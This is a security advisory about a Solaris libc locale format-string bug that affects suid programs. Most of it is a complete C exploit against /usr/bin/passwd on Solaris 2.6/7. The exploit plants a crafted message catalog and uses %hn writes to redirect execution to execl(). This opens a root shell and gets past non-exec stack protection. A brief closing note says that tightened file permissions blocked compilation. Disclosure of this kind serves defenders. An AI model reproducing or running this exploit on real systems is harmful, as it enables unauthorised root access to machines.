COMMAND

    libc

SYSTEMS AFFECTED

    Solaris

PROBLEM

    'Warning3' posted  following.   It seems  Sun hasn't  supplied the
    patch for libc  locale bug yet.   Many suid programs  are affected
    by this bug,  e.g. passwd, eject  ,login, ping, rcp,  etc.  It  is
    not enough just  drop the "eject"'s  suid bit.   You are not  also
    safe  even  if  you   have  enabled  non-exec  stack   protection.
    Attachment  is  the  exploit  against "/usr/bin/passwd" in Solaris
    2.6/7 (SPARC) with non-exec stack protection.

    /* exploit for locale subsystem format strings bug In Solaris with noexec stack.
     * Tested in Solaris 2.6/7.0 (If it wont work, try adjust retloc offset. e.g.
     * ./ex -o -4 )
     *
     * $gcc -o ex ex.c `ldd /usr/bin/passwd|sed -e 's/^.lib\([_0-9a-zA-Z]*\)\.so.*/-l\1/'`
     * usages: ./ex -h
     *
     * Thanks for Ivan Arce <iarce@core-sdi.com> who found this bug.
     * Thanks for horizon's great article about defeating noexec stack for Solaris.
     *
     * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
     * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
     *
     *           by warning3@nsfocus.com (http://www.nsfocus.com)
     *                                     y2k/11/10
     */
    
    #include <stdio.h>
    #include <unistd.h>
    #include <sys/systeminfo.h>
    #include <fcntl.h>
    #include <dlfcn.h>
    
    #define BUFSIZE 2048                    /* the size of format string buffer*/
    #define BUFF    128                     /* the progname buffer size */
    #define SHELL   "/bin/ksh"              /* shell name */
    #define DEFAULT_NUM 68                  /* format strings number */
    #define DEFAULT_RETLOC 0xffbefb44       /* default retloc address */
    #define VULPROG  "/usr/bin/passwd"      /* vulnerable program name */
    
    
    
    void usages(char *progname)
    {
    
            int i;
            printf("Usage: %s \n", progname);
            printf("          [-h]             Help menu\n");
            printf("          [-n number]      format string's number\n");
            printf("          [-a align]       retloc buffer alignment\n");
            printf("          [-o offset]      retloc offset\n\n");
    
    }
    
    /* get current stack point address to guess Return address */
    long get_sp(void)
    
     {
            __asm__("mov %sp,%i0");
     }
    
    
    main( int argc, char **argv )
    
     {
    
            char *pattern, retlocbuf[BUFF], *env[11];
            char plat[BUFF], *ptr;
            long sh_addr, sp_addr, i;
            long retloc = DEFAULT_RETLOC, num = DEFAULT_NUM,  align = 0, offset=0;
            long  *addrptr;
            long reth, retl, reth1, retl1;
            FILE *fp;
    
    
            extern int optind, opterr;
            extern char *optarg;
            int opt;
    
            void *handle;
            long execl_addr, fp_addr, fp1_addr;
            char fakeframe[512];
            char padding[64], pad = 0;
            int env_len, arg_len, len;
    
            char progname[BUFF];
    
    
            strncpy(progname, argv[0], BUFF-1);
    
            while ((opt = getopt(argc, argv, "n:a:o:h")) != -1)
                    switch((char)opt)
                    {
    
                            case 'n':
                                    num = atoi(optarg);
                                    break;
    
                            case 'a':
                                    align = atoi(optarg);
                                    break;
                            case 'o':
                                    offset = atoi(optarg);
                                    break;
                            case '?':
                            case 'h':
                            default:
                                    usages(progname);
                                    exit(0);
                    }
    
            retloc +=  offset;
    
            /* get platform info  */
            sysinfo(SI_PLATFORM,plat,256);
    
            /* Construct fake frame in environ */
    
            env[0] = "NLSPATH=:.";
            env[1] = padding;      /* padding so that fakeframe's address can be divided by 4 */
            /* sh_addr|sh_addr|0x00000000|fp2|fp2|fp2|fp2|fp2|0x00|/bin/ksh|0x00 */
            env[2]=(fakeframe);     /* sh_addr|sh_addr|0x00                       */
            env[3]=&(fakeframe[40]);/*                     |0x00                  */
            env[4]=&(fakeframe[40]);/*                          |0x00             */
            env[5]=&(fakeframe[40]);/*                               |0x00        */
            env[6]=&(fakeframe[44]);/*                                    |fp2|fp2|fp2|fp2|fp2*/
            env[7]=SHELL;           /* shell strings */
            env[8]=NULL;
    
            /* calculate the length of "VULPROG" + argv[1] */
            arg_len = strlen(VULPROG) + strlen("-z") + 2;
    
            /* calculate the pad nummber .
             * We manage to let the length of padding + arg_len + "NLSPATH=." can
             * be divided by 4. So fakeframe address is aligned with 4, otherwise
             * the exploit won't work.
             */
            pad = 3 - (arg_len + strlen(env[0]) +1)%4;
            memset(padding, 'A', pad);
            padding[pad] = '\0';
    
            /* get environ length */
            env_len = 0;
            for(i = 0 ; i < 8 ; i++ )
               env_len += strlen(env[i]) + 1;
    
    
           /* get the length from argv[0] to stack bottom
            *
            * +------------------------+-----------+--------+-----------+--------+
            * |argv[0]argv[1]...argv[n]|env0...envn|platform|programname|00000000|
            * +------------------------+-----------+--------+-----------+--------+
            * ^                                                         ^
            * |__startaddr                                              |__sp_addr
            *
            * "sp_addr" = 0xffbefffc(Solaris 7/8) or 0xeffffffc(Solaris 2.6)
            *
            *  I find "startaddr" always can be divided by 4.
            *  So we can adjust the padding's size to let the fakeframe address
            *  can be aligned with 4.
            *
            * len = length of "argv" + "env" + "platform" + "program name"
            * if (len%4)!=0, sp_addr - startaddr =  (len/4)*4 + 4
            * if (len%4)==0, sp_addr - startaddr =  len
            * So we can get every entry's address precisely based on startaddr or sp_addr.
            * Now we won't be bored with guessing the alignment and offset.:)
            */
           len = arg_len + env_len + strlen(plat) + 1
                                   + strlen(VULPROG) + 1;
           printf("len = %#x\n", len);
    
           /* get stack bottom address */
    
           sp_addr = (get_sp() | 0xffff) & 0xfffffffc;
    
            /* fp1_addr must be valid stack address */
            fp1_addr = (sp_addr & 0xfffffac0);
    
            /* get shell string address */
            sh_addr =  sp_addr - (4 - len%4) /* the trailing zero number */
                               - strlen(VULPROG) - strlen(plat)  - strlen(SHELL) - 3 ;
    
             printf("SHELL address = %#x\n", sh_addr);
    
            /* get our fake frame address */
            fp_addr = sh_addr - 8*8 - 1;
    
            /* get execl() address */
            if (!(handle=dlopen(NULL,RTLD_LAZY)))
            {
              fprintf(stderr,"Can't dlopen myself.\n");
              exit(1);
            }
            if ((execl_addr=(long)dlsym(handle,"execl"))==NULL)
            {
              fprintf(stderr,"Can't find execl().\n");
              exit(1);
            }
    
            /* dec 4 to skip the 'save' instructure */
            execl_addr -= 4;
    
            /* check if the exec addr includes zero  */
            if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) ||
              !(execl_addr & 0xff0000) || !(execl_addr & 0xff000000))
            {
              fprintf(stderr,"the address of execl() contains a '0'. sorry.\n");
              exit(1);
            }
    
            printf("Using execl() address : %#x\n",execl_addr);
    
            /* now we set up our fake stack frame */
    
            addrptr=(long *)fakeframe;
    
            *addrptr++= 0x12345678; /* you can put any data in  local registers */
            *addrptr++= 0x12345678;
            *addrptr++= 0x12345678;
            *addrptr++= 0x12345678;
            *addrptr++= 0x12345678;
            *addrptr++= 0x12345678;
            *addrptr++= 0x12345678;
            *addrptr++= 0x12345678;
    
            *addrptr++=sh_addr;      /* points to our string to exec */
            *addrptr++=sh_addr;      /* argv[1] is a copy of argv[0] */
            *addrptr++=0x0;          /* NULL for execl();  &fakeframe[40] */
            *addrptr++=fp1_addr;     /* &fakeframe[44] */
            *addrptr++=fp1_addr;
            *addrptr++=fp1_addr;
            *addrptr++=fp1_addr;     /* we need this address to work  */
            *addrptr++=fp1_addr; /* cause we don't need exec another func,so put garbage here */
    
            *addrptr++=0x0;
            /* get correct retloc in solaris 2.6(0xefffxxxx) and solaris 7/8 (0xffbexxxx) */
            retloc = (get_sp()&0xffff0000) + (retloc & 0x0000ffff);
    
            printf("Using RETloc address = 0x%x,  fp_addr = 0x%x  ,align= %d\n", retloc, fp_addr, align );
    
            /* Let's make reloc buffer: |AAAA|retloc-4|AAAA|retloc-2|AAAA|retloc|AAAA|retloc+2|*/
    
           addrptr = (long *)retlocbuf;
            for( i = 0 ; i < 8 ; i ++ )
                *(addrptr + i) = 0x41414141;
            *(addrptr + 1) = retloc - 4;
            *(addrptr + 3) = retloc - 2;
            *(addrptr + 5) = retloc ;
            *(addrptr + 7) = retloc + 2;
    
            if((pattern = (char *)malloc(BUFSIZE)) == NULL) {
               printf("Can't get enough memory!\n");
               exit(-1);
            }
    
            /* Let's make formats string buffer:
             * |A..AAAAAAAAAAAA|%.8x....|%(fp1)c%hn%(fp2)%hn%(execl1)c%hn%(execl2)%hn|
             */
            ptr = pattern;
            memset(ptr, 'A', 32);
            ptr += 32;
    
            for(i = 0 ; i < num ; i++ ){
               memcpy(ptr, "%.8x", 4);
               ptr += 4;
            }
    
            reth = (fp_addr >> 16) & 0xffff ;
            retl = (fp_addr >>  0) & 0xffff ;
            reth1 = (execl_addr >> 16) & 0xffff ;
            retl1 = (execl_addr >>  0) & 0xffff ;
    
    
            /* Big endian arch */
            sprintf(ptr, "%%%uc%%hn%%%uc%%hn%%%uc%%hn%%%uc%%hn",
                 (reth - num*8 -4*8 + align ), (0x10000 +  retl - reth),
                 (0x20000 + reth1 - retl), (0x30000 + retl1 - reth1));
    
            if( !(fp = fopen("messages.po", "w+")))
            {
               perror("fopen");
               exit(1);
            }
            fprintf(fp,"domain \"messages\"\n");
            fprintf(fp,"msgid  \"%%s: illegal option -- %%c\\n\"\n");
            fprintf(fp,"msgstr \"%s\\n\"", pattern + align);
            fclose(fp);
            system("/usr/bin/msgfmt -o SUNW_OST_OSLIB messages.po");
    
            /* thanks for z33d's idea.
             * It seems we have to do like this in Solaris 8.
             */
            i=open("./SUNW_OST_OSLIB",O_RDWR);
            /* locate the start position of formats strings in binary file*/
            lseek(i, 62, SEEK_SET);
            /* replace the start bytes with our retlocbuf */
            write(i, retlocbuf + align, 32 - align);
            close(i);
    
           execle(VULPROG, VULPROG, "-z", NULL, env);
    }  /* end of main */

SOLUTION

    Jay D. Dyson found following.   The exploit failed as the  example
    binary had permissions set thus:

        -r-s--s--x   2 root     sys        85724 Sep  9  1999 /usr/bin/passwd

    With permissions  set as  above (which  are not  default, but  the
    product of some personal work on Solaris hardening), ldd  couldn't
    read  the  file  and  the  exploit  compilation  failed.  The same
    should hold true for the other affected binaries.